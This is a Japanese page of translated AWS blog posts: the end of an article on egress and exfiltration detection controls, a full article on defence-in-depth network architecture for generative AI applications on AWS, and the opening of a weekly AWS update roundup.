などを使用してデータ境界を実装することで、意図しないアクセスパターンや設定ミスの防止に役立つ多層的な権限ガードレールを構築できます。 境界制御の実装の詳細については、AWS ホワイトペーパー「 Building a Data Perimeter 」を参照してください。 発見的コントロール 次の発見的コントロールは、発生したデータ流出の試みを事後に明らかにします。トラフィックを遮断するのではなく観察するものであるため、幅広く適用して、 想定外の アクティビティを調査対象としてフラグ付けできます。検出結果を使用して、繰り返し発生する不正なパターンのうち、予防的コントロールに反映できるものを特定しましょう。 Amazon GuardDuty: エグレスの脅威に対する発見的コントロール GuardDuty は、エグレス保護における重要な検出レイヤーとして機能し、予防的コントロールを回避または悪用するアウトバウンドの脅威を継続的にモニタリングします。GuardDuty は、進行中のデータ流出の試みを示す行動の異常や攻撃パターンを特定します。エグレスに焦点を当てた主な検出機能は次のとおりです。 DNS ベースのデータ流出の検出: 検出結果タイプ Trojan:EC2/DNSDataExfiltration は、EC2 インスタンスが DNS チャネルを通じてデータを転送している場合にアラートを発します。GuardDuty は、コマンドアンドコントロール通信によく使用される DGA ドメインへのクエリも特定します。 既知の悪意のあるアクターの検出: Exfiltration:S3/MaliciousIPCaller は、 GetObject や CopyObject などの Amazon S3 データ API が、AWS の脅威インテリジェンスフィードに登録された IP アドレスから呼び出されたときにトリガーされ、進行中のデータ抽出の試みを示します。 多段階の攻撃シーケンスの相関分析: GuardDuty 拡張脅威検出は、複数の想定外のイベントを相関分析し、データ流出を狙った多段階の攻撃キャンペーンを特定します。例えば、 AttackSequence: S3/CompromisedData は、権限のない第三者が S3 バケットポリシーを変更してアクセス範囲を広げたうえで、盗んだ認証情報を使用して体系的にデータを抽出する動きを検出します。 GuardDuty の検出結果 は、エグレス戦略において 2 つの役割を果たします。失敗に終わった流出の試みに関するアラートは、予防的レイヤー (Network Firewall、DNS Firewall、データ境界) が効果的に機能していることを裏付けます。つまり、脅威は行動分析をトリガーする段階まで進行したために検出されたものの、実際のデータ流出は制御によってブロックされたということです。一方、データ流出が実際に発生したことを示す検出結果は、直ちにインシデント対応ワークフローをトリガーします。これにより、重大な損害が発生する前に、進行中のインシデントを封じ込め、盗まれた認証情報を無効化し、影響を受けたリソースを隔離できます。 GuardDuty を Security Hub と統合してセキュリティサービス全体の相関分析を一元化するとともに、EventBridge と Lambda 関数による自動対応を実装し、重大度の高い流出の検出結果が発生したときにリアルタイムで封じ込めができるようにしてください。 IAM Access Analyzer IAM Access Analyzer は、AWS アカウントまたは組織の外部からアクセス可能なリソースを検出することで、潜在的なデータ流出経路の特定に役立ちます。自動推論テクノロジーを使用してリソースベースのポリシーを分析し、どのリソースに外部エンティティ (信頼ゾーン外のプリンシパル) がアクセスできるかを特定して、パブリックアクセスとクロスアカウントアクセスを継続的にモニタリングします。 外部アクセスアナライザーは、他の AWS アカウントなどの外部プリンシパルと共有されているリソースや、パブリックアクセスが許可されているリソースを特定します。例えば、バケットポリシー、ACL、アクセスポイントを通じて信頼ゾーン外からのアクセスを許可するように S3 バケットが設定されている場合、IAM Access Analyzer は、外部プリンシパルや付与されたアクセスレベルなど、アクセス経路の詳細を含む検出結果を生成します。セキュリティチームは、意図しないアクセス許可を直ちに取り消すか、EventBridge を通じて自動通知を設定して開発チームに修復を依頼することで対応できます。 AWS Security Hub Security Hub のエクスポージャーの検出結果は、複数の AWS セキュリティサービスのデータを相関分析することで、潜在的なセキュリティリスクを包括的に把握できるようにします。これらの検出結果は、GuardDuty (脅威検出)、 Amazon Inspector (脆弱性評価)、 Security Hub CSPM (設定のコンプライアンス)、 Amazon Macie (機密データの検出) からのインテリジェンスを統合し、データ流出に対して脆弱である可能性のあるリソースを特定します。例えば、パブリックに公開されている S3 バケットに機密データが含まれており、かつ保管時に暗号化されていない場合に、直ちに対応が必要な潜在的なデータ流出リスクとしてフラグ付けできます。 AWS Shield network security director (プレビュー) は、ネットワークトポロジを検出、分析して、アウトバウンドのインターネットアクセスが制限されていないリソースを特定することで Security Hub を補完し、環境全体に潜むエグレスの死角の検出を支援します。 エグレスセキュリティ戦略 これらの制御をすべて一度に実装する必要はありません。次の段階的なアプローチに従えば、組織の運用成熟度とリスク許容度に合ったペースで、エグレスのセキュリティポスチャを少しずつ強化できます。 フェーズ 1 – すぐに効果が出る施策: すべての VPC で Route 53 DNS Firewall を有効にして、DNS を利用したデータ流出に対する防御のギャップを解消します。すべてのアカウントで GuardDuty を有効にして、ベースラインとなる脅威検出を実現します。 フェーズ 2 – 基盤の構築: 組織全体のデータ境界 (SCP、RCP、VPC エンドポイントポリシー) をデプロイします。Network Firewall を Transit Gateway にアタッチされたファイアウォールとしてデプロイします。 フェーズ 3 – 効率化: IAM Access Analyzer を有効にして、外部アクセスを継続的に検出します。EventBridge と Lambda による自動修復を実装し、ファイアウォールルールをリアルタイムで更新します。検出結果を Security Hub に一元化し、自動アラートを設定します。 まとめ エグレスセキュリティは単一の制御で実現するものではなく、多層的な戦略です。まず、ネットワークフィルタリング、DNS セキュリティ、データ境界、発見的コントロールの各観点から、現在のセキュリティポスチャを評価してください。ギャップを特定したら、この記事で説明した段階的なアプローチに従って、それらを順次解消してください。流出の試みをシミュレートした定期的なテストを行うことで、制御が効果的に機能していることを検証できます。これらの制御は、操作されたエージェントが意図しない流出経路になり得るエージェンティック AI のワークロードにも、同様に有効です。エグレスを制御下に置き、アウトバウンドの死角をモニタリングされたチェックポイントに変えましょう。 Meriem SMACHE Meriem は AWS の Security Specialist Solutions Architect です。生成 AI ワークロードから完全自律型のエージェンティックシステムまで、規制要件とセキュリティニーズを満たすレジリエントなクラウドおよび AI ソリューションの設計とデプロイに取り組むお客様を支援しています。 Maxim Raya Maxim は AWS の Security Specialist Solutions Architect です。お客様が AWS 環境のセキュリティとコンプライアンスに自信を持てるようにすることで、クラウドトランスフォーメーションの加速を支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 9 月 29 日に公開された AWS Blog “ Build secure network architectures for generative AI applications using AWS services ” を翻訳したものです。 生成 AI は業界を問わず基盤技術となり、会話型エージェントからリアルタイムのメディア合成まで、あらゆる用途を支えています。その一方で、悪意のある攻撃者が悪用できる新たな機会も生まれています。生成 AI アプリケーションを支える複雑なアーキテクチャには、一般公開された API、推論サービス、カスタムウェブアプリケーション、クラウドインフラストラクチャとの統合など、外部にさらされた広範な攻撃対象領域があります。これらのシステムも、従来型の外部脅威や新たに出現する外部脅威と無縁ではありません。AWS では、生成 AI のセキュリティ確保に関するシリーズ記事を公開しています。最初の記事である「 生成 AI をセキュアにする: 生成 AI セキュリティスコーピングマトリックスの紹介 」では、デプロイする生成 AI ワークロードの種類に応じてリスクとセキュリティへの影響を整理するモデルを示し、シリーズ全体の土台を築いています。 この記事はシリーズの続編として、多層防御のアプローチにより、 Amazon Web Services (AWS) 上に生成 AI アプリケーション向けのセキュアでスケーラブルなネットワークアーキテクチャを構築する方法を解説します。パフォーマンスと信頼性を維持しながら AI ワークロードを保護する方法を紹介します。仮想プライベートクラウド (VPC) による分離、ネットワークファイアウォール、アプリケーション保護、エッジのセキュリティコントロールなど、生成 AI ワークロードの包括的な防御戦略の構築に活用できる複数のセキュリティレイヤーを取り上げます。 生成 AI に対する一般的な外部脅威 このセクションでは、現在の生成 AI アプリケーションが直面している代表的な外部脅威を紹介します。 ネットワークレベルの DDoS 攻撃 (レイヤー 4) SYN フラッド、UDP フラッド、ICMP フラッドなどのネットワークレベルの分散型サービス拒否 (DDoS) 攻撃またはボリューム型攻撃は、大量のレイヤー 4 リクエストをサーバーに送りつけてネットワークレイヤーを標的にします。その目的は、レイヤー 4 のハーフオープン接続を大量に発生させてサーバーのリソースを枯渇させ、最終的にシステムが正当なユーザーに応答できない状態にすることです。持続的なセッションと低レイテンシーの応答が求められることの多い生成 AI アプリケーションでは、こうした攻撃によって可用性とユーザーエクスペリエンスが深刻な影響を受ける可能性があります。ボリューム型攻撃には、リフレクション攻撃と呼ばれる種類もあります。リフレクション攻撃では、脅威アクターが DNS などのサービスを悪用して、標的に送られるトラフィック量を増幅させます。脆弱なサードパーティのサーバーに送信された小さなリクエストが反射されて大きなレスポンスに増幅され、被害者に向けて送られます。生成 AI の API がパブリックインターネットに公開されている場合、この手法によってエンドポイントが予期しないトラフィックであふれ、サービス品質の低下を招く可能性があるため、特に危険です。 ウェブリクエストフラッド (レイヤー 7) レイヤー 7 を狙うこの種の高度な攻撃は、正当なトラフィックパターンを模倣して従来のセキュリティフィルターをすり抜けます。悪意のある攻撃者は、過剰な HTTP リクエストでアプリケーションのエンドポイントに過負荷をかけ、特に推論の負荷が高い AI ワークロードにおいて、コンピューティングリソースを枯渇させることができます。ボリューム型の DDoS とは異なり、これらのリクエストは実際のユーザーからのリクエストと区別しにくいことが多いため、攻撃の緩和がより難しくなります。 アプリケーション固有の攻撃 悪意のある攻撃者は、アプリケーション固有のコードや、そのコードを実行する Apache、Nginx、Tomcat などのシステムの脆弱性を狙う傾向を強めています。カスタム API やオーケストレーションレイヤーを含むことが多い生成 AI アプリケーションでは、わずかな設定ミスやパッチが適用されていないコンポーネントが 1 つあるだけでも、不正アクセス、データ漏洩、システム侵害につながる可能性があります。 SQL インジェクション 悪意のある攻撃者は、入力フィールドやクエリパラメータから悪意のある SQL コードを挿入してバックエンドのデータベースを操作し、データを窃取したり破損させたりできます。プロンプトをログに記録したり、ユーザーとのやり取りを保存したりする生成 AI アプリケーションでは、入力のサニタイズが厳格に行われていないと、特にこの攻撃を受けやすくなります。 クロスサイトスクリプティング クロスサイトスクリプティング (XSS) 攻撃では、信頼されたウェブページに悪意のあるスクリプトを挿入します。ユーザーがそれと気付かずに、こうしたスクリプトが埋め込まれたページを操作すると、悪意のある攻撃者はセッションを乗っ取ったり、データを盗んだり、ユーザーを悪意のあるサイトにリダイレクトしたりできます。AI サービスのフロントエンドインターフェイス、中でもダッシュボードやプロンプトコンソールは、この攻撃に対して特に脆弱です。 OWASP による主要なアプリケーションセキュリティリスク 「 OWASP Top 10 」は、ウェブアプリケーションにおける一般的なセキュリティリスクを特定するための重要なフレームワークです。アクセス制御の不備、セキュリティの設定ミス、ログ記録と監視の不足などの問題が挙げられています。生成 AI ソリューションでも、ウェブアプリケーションを取り巻く幅広い脅威を緩和するために、OWASP のガイドラインに準拠する必要があります。 共通脆弱性識別子 セキュリティ専門家は、オープンソースライブラリからモデルサービングインフラストラクチャに至るまで、AI スタックのコンポーネントに影響を与える、共通脆弱性識別子 (CVE) が割り当てられた既知の脆弱性に常に注意を払う必要があります。CVE への対応を怠ると、機密性の高いモデル出力、内部 API、ユーザーデータが侵害される攻撃につながる可能性があります。 悪意のあるボットとクローラー 悪意のあるボットが AI アプリケーションを標的にし、生成されたテキスト、価格データ、独自のモデル、ペイウォールの背後にある画像などのコンテンツをスクレイピングするケースが増えています。これらのボットは正当なクローラーやスキャナーを装うこともありますが、実際にはコンテンツを大規模に収集するように設計されており、利用規約に違反したり、インフラストラクチャのコストを押し上げたりする可能性があります。 コンテンツスクレイパーと探査ツール 生成 AI システムをクロール、スクレイピング、スキャンする自動化ツールは、競合情報の収集、モデル反転攻撃、露出しているエンドポイントの探索などによく使われます。これらのツールによってプライバシーの保証が弱まり、意図しない第三者に AI の動作が知られてしまう可能性があります。 生成 AI アプリケーションのセキュリティ確保 ここでは、AWS のサービスを使用して生成 AI アプリケーションのセキュリティ確保に役立つ一般的な戦略をいくつか紹介します。 Amazon Bedrock を使用したプライベートネットワーキング Amazon Bedrock は AWS が提供するフルマネージドサービスで、開発者は 基盤モデル (FM) と、FM を特定のアプリケーション向けにカスタマイズするためのツールを利用できます。開発者は、インフラストラクチャを管理することなく、API を通じて FM を利用した生成 AI アプリケーションを構築し、スケールすることができます。典型的な環境構成を図 1 に示します。この構成には、次のネットワークコンポーネントが含まれます。 Amazon Bedrock のサービスアカウント。サービスコンポーネントを保持し、お客様のアカウントと同じ AWS リージョン内に API エンドポイントを公開します。 お客様の AWS アカウント。Amazon Bedrock を使用するアプリケーションが配置されており、このアプリケーションがクエリリクエストを送信して Amazon Bedrock API を呼び出します。 既存のデータセンター内にあるお客様の企業ネットワーク。AWS グローバルネットワークの外部にあります。ここには、同じく Amazon Bedrock を使用する必要があり、Amazon Bedrock API を呼び出すことがあるお客様のアプリケーションが配置されています。 AWS Direct Connect は、パブリックインターネットを経由せずに、オンプレミスネットワークと AWS の間に専用のネットワーク接続を提供します。 図 1 – Amazon Bedrock を使用したプライベートネットワーキングアーキテクチャ AWS PrivateLink を使用すると、オンプレミスネットワークまたは Amazon Virtual Private Cloud (Amazon VPC) で実行されている生成 AI アプリケーションと FM の間に、トラフィックをパブリックインターネットに公開することなくプライベート接続を確立できます。Amazon VPC の場合、プライベートサブネットのインスタンスで実行されているアプリケーションが Amazon Bedrock API を呼び出します。API コールは、VPC エンドポイントポリシーが関連付けられた Amazon Bedrock の VPC エンドポイントにルーティングされ、そこから Amazon Bedrock API に送られます。Amazon Bedrock サービスの API エンドポイントは、パブリックインターネットを経由せずに PrivateLink 経由で API リクエストを受信します。NAT ゲートウェイ経由で Amazon Bedrock サービスの API に接続することもできます。この場合も、トラフィックはパブリックインターネットに公開されることなく AWS ネットワークバックボーンを通過する点に留意してください。 また、企業ネットワークから AWS Direct Connect ゲートウェイを介し、VPC エンドポイント経由で Amazon Bedrock API にプライベートにアクセスすることもできます。Direct Connect を利用していない場合は、パブリックインターネット経由で Amazon Bedrock サービスの API に接続できます (図 1 の下側の矢印)。いずれの場合も、Amazon Bedrock の API エンドポイントへのトラフィックは TLS 1.2 以降で転送中に暗号化され、Amazon Bedrock サービス内のトラフィックも少なくとも同じ基準で転送中に暗号化されます。Amazon Bedrock で処理されたお客様のコンテンツは、Amazon Bedrock を使用しているリージョン内に、暗号化された状態で保管されます。 AWS WAF を使用して生成 AI に対するレイヤー 7 の脅威を最小限に抑える 生成 AI システムがコンテンツ作成、カスタマーサービス、意思決定プロセスに欠かせない存在になるにつれて、悪意のあるボットによる脅威の標的となるケースも増えています。こうした攻撃は、出力をゆがめたり、偏りや有害な内容を含むトレーニングデータをモデルに大量に送り込んだり (データポイズニング)、脆弱性を悪用してプロンプトインジェクションを行ったり、自動化された不正利用でシステムに過負荷をかけたりします。その結果、モデルのパフォーマンス低下、誤情報の拡散、データプライバシーの侵害、ユーザーの信頼の低下などを招きます。こうした脅威を緩和するには、ユーザー認証、入力検証、異常検出、継続的な監視などの安全対策を生成 AI パイプラインに組み込む必要があります。 AWS WAF は、インテリジェントな検出とルールベースの防御により、ボットによる攻撃からアプリケーション (OSI レイヤー 7) を保護するのに役立つウェブアプリケーションファイアウォールです。AWS WAF の Bot Control 機能は、正当なボットを許可しつつ、有害なボットを識別して除外します。AWS WAF は、レート制限、カスタムルール、異常検出によって、スクレイピング、クレデンシャルスタッフィング、DDoS 攻撃の試みをブロックできます。 Anti-DDoS ルール グループは、HTTP リクエストフラッドを伴うアプリケーションへの攻撃の自動緩和に特化しており、 マネージドルールグループ として AWS WAF で利用できます。このルールグループは、こうした変化の速い脅威に対処するためのさまざまな AWS WAF ルールや ACL の管理に伴う複雑さを解消します。 AWS WAF は、 Amazon CloudFront 、 Amazon API Gateway 、 Application Load Balancer (ALB) で有効化でき、これらのサービスと共にデプロイされます (図 2)。これらの AWS サービスが TCP/TLS 接続を終端し、受信した HTTP リクエストを処理してから、リクエストを AWS WAF に転送して検査とフィルタリングを行います。リバースプロキシ、DNS の設定、TLS 証明書は不要です。 図 2 – AWS WAF を使用して生成 AI に対するレイヤー 7 の脅威を最小限に抑えるアーキテクチャ 生成 AI アプリケーションに対する DDoS をエッジで緩和する DDoS 攻撃は、大量のトラフィックでサーバーに過負荷をかけ、レイテンシーの増加、パフォーマンスの低下、さらには完全な停止を引き起こすため、生成 AI アプリケーションにとって深刻な脅威です。生成 AI ワークロード (チャットボット、画像生成ツール、コーディングアシスタントなど) は多くの場合リソースを大量に消費し、リアルタイムで動作するため、短時間の中断であってもユーザーエクスペリエンスや信頼に影響する可能性があります。さらに、DDoS 攻撃は、データの窃取やプロンプトインジェクションなど、他の攻撃を隠すための煙幕として使われることもあります。可用性とサービスの継続性を維持するには、レート制限、トラフィックフィルタリング、自動でスケールするインフラストラクチャなどのスケーラブルな防御策で生成 AI システムを保護することが重要です。 AWS Shield は、常時有効な検出と自動緩和により、生成 AI アプリケーションを DDoS 攻撃から保護します。スタンダード階層である AWS Shield Standard は、一般的なボリューム型攻撃と状態枯渇攻撃を追加料金なしで防御します。より高度な保護が必要な場合は、 AWS Shield Advanced を使用すると、リアルタイムの脅威インテリジェンスと適応型レート制限を利用できるほか、 AWS Shield Response Team (SRT) の支援を 24 時間 365 日受けられます。SRT のサービスを利用するには、 ビジネスサポートプラン または エンタープライズサポートプラン への加入が必要です。これにより、高可用性と低レイテンシーが求められることの多い生成 AI サービスが、脅威にさらされても回復力を保ち、大規模なトラフィックの急増時にもパフォーマンスとアップタイムを維持しやすくなります。Amazon CloudFront や Elastic Load Balancing などのサービスと統合することで、スケーラビリティと保護をさらに強化できます (図 3)。 図 3 – エッジで AWS Shield Advanced を使用してアプリケーションを DDoS 攻撃から保護する 生成 AI アプリケーション向けの境界ファイアウォール AWS Network Firewall は、ステートフルおよびステートレスのパケット検査、侵入防止 (IPS)、ドメインフィルタリングの機能を Amazon VPC に直接デプロイできるマネージドネットワークセキュリティサービスです。サブネットレベルで、インバウンドとアウトバウンドの両方のトラフィックを検査し、フィルタリングできます。生成 AI アプリケーションでは、独自のアプライアンスやプロキシを管理する手間をかけずに、きめ細かなトラフィック制御を適用できます。 AWS Network Firewall では、カスタムのステートレスルールやステートフルルールを作成して、特定のペイロード、既知のシグネチャ、異常なトラフィックパターンをブロックできます。マルチモデル環境やマルチテナント環境では、ファイアウォールで East-West 方向のセグメンテーションを適用することで、侵害されたマイクロサービスから他の AI コンポーネントや機密性の高いサービスへの横方向のアクセスを防ぐのに役立ちます。Network Firewall は、生成 AI アプリケーションがアクセスしている特定のサイトのホスト名を収集する用途にも有効です。このプロセスは エグレスフィルタリング (egress filtering) と呼ばれ、攻撃者が生成 AI ワークロードを侵害し、外部のコマンドアンドコントロールシステムへの接続を確立しようとする場合に特に役立ちます。Network Firewall を使用して、特定のセキュリティ要件を満たさない パケット をブロックすることで、アウトバウンドトラフィックの保護に役立てることができます。 悪意のあるアクティビティの監視 進化し続けるセキュリティの脅威から生成 AI アプリケーションを保護するには、悪意のあるアクティビティの監視が欠かせません。生成 AI アプリケーションは予測できないユーザー入力を処理し、動的な出力を生成するため、特に悪用されやすい性質があります。継続的に監視することで、潜在的な攻撃の兆候となりうる異常なトラフィックパターン、過剰な API 使用、異常な入力パターンを早期に検出できます。また、プロンプトインジェクション、敵対的な入力、モデルのレスポンスから機密情報を引き出そうとする試みなどによる AI モデルの不正利用の防止にも役立ちます。さらに監視は、放置すれば AI サービスの可用性を損なうおそれのある DDoS の試みやリソースの不正利用を特定するうえでも、重要な役割を果たします。リアルタイムのアクティビティを観察して分析することで、組織は、悪意のある攻撃者のブロック、セキュリティコントロールの調整、生成 AI アプリケーションの完全性と信頼性の維持に向けて、予防的な対策を講じることができます。脅威検出サービスである Amazon GuardDuty は、AWS アカウントのアクティビティ、ネットワークフローログ、DNS クエリを継続的に分析し、環境を標的とした潜在的な侵害や悪意のある動作を検出します。GuardDuty は、AWS 認証情報の流出や、ユーザーによる Amazon SageMaker AI API の不審な利用などの疑わしいアクティビティを識別します。さらに GuardDuty は、 Amazon Simple Storage Service (Amazon S3) 、 Amazon Relational Database Service (Amazon RDS) 、 Amazon Elastic Kubernetes Service (Amazon EKS) 、EKS Runtime Monitoring、Amazon ECS および Amazon EC2 向けの Runtime Monitoring 、Amazon EC2 および S3 向けの Malware Protection 、 AWS Lambda Protection の保護プランも提供しています。 Amazon Inspector は、AWS ワークロードにソフトウェアの脆弱性や意図しないネットワークの露出がないかを継続的にスキャンする、自動化された脆弱性管理サービスです。 Amazon Detective は、調査プロセスを簡素化し、セキュリティチームがより迅速かつ効果的にフォレンジック調査を行えるよう支援します。 生成 AI のためのネットワーク多層防御 他のモダンアプリケーションと同様に、生成 AI アプリケーションのネットワークアーキテクチャを設計する際にも、多層防御のアプローチが推奨されます。図 4 は、AWS のサービスを活用して多層防御を実現した、生成 AI アプリケーションの完全なリファレンスアーキテクチャです。 図 4 – 生成 AI のネットワーク多層防御のワークフロー 図 4 に示すワークフローは次のとおりです。 クライアントがアプリケーションにリクエストを送信します。DNS によって、クライアントは AWS WAF と Shield がデプロイされている CloudFront ロケーションに誘導されます。 CloudFront は、リクエストを AWS WAF ルールで評価し、トラフィックをブロック、監視、許可のいずれにするかを判断します。Shield は、既知の DDoS 攻撃ベクトルやゼロデイ攻撃ベクトルを幅広く緩和できます。設定によっては、Shield Advanced と AWS WAF が連携して、個々の IP アドレスからのトラフィックにレート制限を適用します。AWS WAF または Shield Advanced がトラフィックをブロックしなかった場合、トラフィックは CloudFront のルーティングルールに送られます。 CloudFront はトラフィックを ALB に送信します。ただし、ALB に到達する前に、トラフィックは Network Firewall エンドポイントで検査されます。Network Firewall はディープパケットインスペクションをサポートしており、インターネット、別の VPC、または別のサブネット宛てのインバウンドおよびアウトバウンドの TLS トラフィックを復号、検査、再暗号化することで、データの保護に役立ちます。この段階で、追加の安全対策を講じて脅威アクターのアクセスを制限することもできます。高リスクの国からのトラフィックが想定されない場合は、地理的ブロックでアクセスを制限するか、少なくとも、トラフィックが想定されない国に対しては、イングレスでは AWS WAF ルール、エグレスでは Network Firewall を使用して厳格なレート制限を設定することをお勧めします。 注 : Amazon CloudFront の地理的制限 を使用して特定の国からのコンテンツへのアクセスをブロックすると、CloudFront はその国からのリクエストをすべてブロックし、AWS WAF には転送しません。地理情報に基づいて AWS WAF の条件でリクエストを許可またはブロックするには、代わりに AWS WAF の地理的一致ルールステートメントを使用してください。 ALB はパブリックサブネットに配置されています。ALB を使用してアプリケーションを実行するインスタンスを外部から分離するとともに、AWS WAF で一般的なレイヤー 7 の攻撃からの保護をさらに強化できます。 ALB のターゲットグループは、プライベートサブネットで生成 AI アプリケーションを実行しているインスタンスで構成されています。セキュリティグループ、ネットワーク ACL (NACL)、セグメンテーションなど、VPC の基本的な構成要素を使用して、インスタンスとそのネットワークインターフェイスの保護に役立てることができます。 アプリケーションが Amazon Bedrock API を呼び出します。PrivateLink を使用すると、VPC と Amazon Bedrock の間にプライベート接続を作成できます。これにより、インターネットゲートウェイ、NAT デバイス、VPN 接続、Direct Connect 接続を使用せずに、Amazon Bedrock が VPC 内にあるかのようにアクセスできます。VPC 内のインスタンスは、パブリック IP アドレスがなくても Amazon Bedrock にアクセスできます。このプライベート接続は、PrivateLink を利用したインターフェイスエンドポイントを作成することで確立します。インターフェイスエンドポイントで有効にする各サブネットに、エンドポイントネットワークインターフェイスを作成します。これらは、Amazon Bedrock 宛てのトラフィックのエントリポイントとして機能する、リクエスタマネージド型ネットワークインターフェイスです。 Amazon VPC コンソールまたは AWS コマンドラインインターフェイス (AWS CLI) を使用して、Amazon Bedrock のインターフェイスエンドポイントを作成します。Amazon Bedrock のインターフェイスエンドポイントを作成する際に使用するサービス名は com.amazonaws.region.bedrock-runtime です。 インターフェイスエンドポイントのエンドポイントポリシーを作成します。エンドポイントポリシーは、インターフェイスエンドポイントにアタッチできる AWS Identity and Access Management (IAM) リソースです。デフォルトのエンドポイントポリシーでは、インターフェイスエンドポイントを介した Amazon Bedrock へのフルアクセスが許可されます。VPC から Amazon Bedrock へのアクセスを制御するには、カスタムエンドポイントポリシーをインターフェイスエンドポイントにアタッチします。カスタムエンドポイントポリシーの例を図 4 に示します。このポリシーをインターフェイスエンドポイントにアタッチすると、すべてのプリンシパルに対して、すべてのリソースを対象に、リストに記載された Amazon Bedrock アクションへのアクセスが許可されます。 このソリューションでは、 Amazon CloudWatch を使用してさまざまなサービスから運用メトリクスを収集し、デプロイのパフォーマンスと運用状態の監視に使用できるカスタムダッシュボードを生成します。 戻りのトラフィックは、同じ経路を逆方向にたどります。 まとめ この記事では、強力なセキュリティコントロールを維持しながら AWS 上に生成 AI アプリケーションをデプロイするための堅牢な基盤となる、セキュアなネットワーク設計の原則を紹介しました。ここで紹介したパターンを実装することで、機密データとインフラストラクチャを保護しながら、AI の機能を安心して活用できます。 生成 AI のセキュリティについて、さらに他の分野も詳しく知りたい方は、「生成 AI をセキュアにする」シリーズの他の記事もご覧ください。 パート 1 – 生成 AI をセキュアにする: 生成 AI セキュリティスコーピングマトリックスの紹介 パート 2 – 生成 AI ワークロードにおけるレジリエンス設計 パート 3 – 生成 AI をセキュアにする: 関連するセキュリティコントロールの適用 パート 4 – 生成 AI をセキュアにする: データ、コンプライアンス、プライバシーに関する考慮点 パート 5 – AWS のサービスで構築する生成 AI アプリケーションのセキュアなネットワークアーキテクチャ (この記事) Joydipto Banerjee Joydipto は AWS Financial Services の Solutions Architect です。ソフトウェアアーキテクチャの経験に加え、ビジネスワークロードやクリティカルなワークロードを含むソリューションの開発に携わってきました。大手銀行や金融機関と協力し、AWS のツールやサービスを活用してイノベーションを推進し、新しいデジタル製品を構築できるよう支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

みなさん、こんにちは。ソリューションアーキテクトの古屋です。今週も 週刊AWS をお届けします！ 10 月も後半に入り、朝晩はすっかり肌寒くなってきましたね。年末が近づくこの時期、「今年のうちに AWS 認定を取っておきたい」と考えている方も多いのではないでしょうか。 そんな方に向けて、Pearson VUE で Pearson Global Retake というキャンペーンが実施されています。対象の試験に不合格だった場合に、同じ試験を 1 回無料で再受験できるもので、AWS 認定も対象に含まれています。初回の受験は 11 月 17 日までに済ませる必要があり、無料の再受験は年明けの 2027 年 1 月 4 日から 4 月 7 日の間に受けます。利用には事前の申し込み (オプトイン) が必要で、対象外の試験もあるので、予約の前に条件を確認しておいてください。「もし落ちても次がある」と思えると、受験の一歩目が踏み出しやすくなりますね。 それでは、先週の主なアップデートについて振り返っていきましょう。 2026年10月12日週の主要なアップデート 10/12(月) Amazon OpenSearch Service がインデックスレベル暗号化をサポート Amazon OpenSearch Service で、インデックスごとに異なる AWS KMS カスタマーマネージドキーを使った保存時暗号化ができるようになりました。従来はドメイン全体で 1 つの KMS キーしか使えませんでしたが、本機能により同一ドメイン上でデータの所有者や機密性に応じてキーを分離できます。マルチテナントアプリケーションでテナントごとに専用キーで暗号化する、といった構成が 1 ドメインで組めます。OpenSearch 3.3 以降を実行する新規ドメインが対象で、東京リージョンを含む 14 リージョンで利用できます。機能自体の追加料金はなく、標準の AWS KMS と OpenSearch Service の料金で利用できます。 Amazon Bedrock AgentCore の短期メモリで取り込み・取得・ストレージのデータ量に基づく従量課金制を導入 Amazon Bedrock AgentCore Memory の短期メモリ (STM) の料金体系が、従来のイベント件数ベースの定額制 (0.25 USD/1,000 イベント) から、データ量に基づく従量課金制に変わりました。新料金は ingestion (書き込み) 1.00 USD/GB、retrieval (取得) 0.20 USD/GB、storage (保存) 0.10 USD/GB-月の 3 つのディメンションで構成されます。ingestion と retrieval は 1 イベントあたり最小 12 KB、最大 64 KB として課金され、storage は各イベントの実サイズで課金されます。小さなイベントを頻繁に書き込む会話型エージェントでは、月額コストが従来よりも抑えられるケースがあります。長期メモリ (LTM) の料金は変更ありません。AgentCore Memory が提供されるすべてのリージョンで適用されます。 AWS Lambda が Lambda Web Functions を発表 AWS Lambda に新しいコンピュート形態である Lambda Web Functions が追加されました。コードがポートをリッスンして HTTP リクエストを直接処理するモデルで、Express、Fastify、Hono などの Node.js フレームワークをアダプターなしでそのままデプロイできます (Next.js は standalone モードで、ホストとポートを指定する小さなエントリーファイルを追加すれば動作します)。1 つの実行環境が最大 128 の同時リクエストを処理し、課金はリクエスト数、アクティブ CPU 時間、実行環境のメモリ保持時間の組み合わせになります。DB や外部 API の応答を待つ時間には CPU 課金が発生しません。バージニア北部、オハイオ、オレゴン、東京、アイルランドの 5 リージョンで利用できます。 Amazon CloudFront が AWS Lambda Web Functions のオリジンサポートを開始 Amazon CloudFront のオリジンとして AWS Lambda Web Functions を直接指定できるようになりました。CloudFront を前段に置くことで、エッジでの TLS 終端、キャッシュ、ACM 証明書によるカスタムドメインを、アプリケーションコードの変更なしで利用できます。Origin Access Control (OAC) を設定すると、CloudFront 経由以外のアクセスを IAM 認証で拒否でき、CloudFront のエッジネットワークによるネットワーク層 DDoS 対策と AWS WAF によるアプリケーション層の保護を組み合わせられます。OAC は専用の署名動作により視聴者の Authorization ヘッダーをそのままオリジンへ渡すため、JWT や Cookie などアプリ独自のサインインフローは変更不要です。追加料金はなく、CloudFront 中国リージョンを除く全リージョンで利用できます。 10/13(火) Agent Toolkit for AWS でコーディングエージェントが SageMaker AI の高度な専門知識を活用可能に AWS AI/ML skill が Agent Toolkit for AWS のコアスキルとして提供されました。Kiro、Claude Code、Codex、Cursor などのコーディングエージェントが、モデルの選定、トレーニング、最適化、デプロイといった Amazon SageMaker AI の操作を自然言語ワークフローで実行できるようになります。従来 AWS Labs (awslabs/agent-plugins) で提供されていた skills とプラグインは Agent Toolkit for AWS に一本化され、今後はこちらが唯一のサポート対象の統合ポイントになります。skill は SageMaker Studio JupyterLab にプリインストールされており、追加料金なしで利用できます (エージェントが使用する AWS リソースの料金のみ発生します)。 Amazon SageMaker Studio がソーシャルサインインに対応し、新規 AI/ML 開発者の利用開始を簡素化 Amazon SageMaker Studio が、Google、GitHub、Apple の既存アカウントによるサインアップに対応しました。新規顧客は従来の AWS アカウント作成、コンソール操作、IAM 設定を行わずに、また多くの場合クレジットカード登録もなしで、設定済みの Studio 環境で基盤モデルのファインチューニング、評価、デプロイを開始できます。AWS 無料利用枠の無料クレジット (登録時に 100 USD、追加で最大 100 USD) が付与され、検証済み顧客は G5、G6、G6e、G4dn 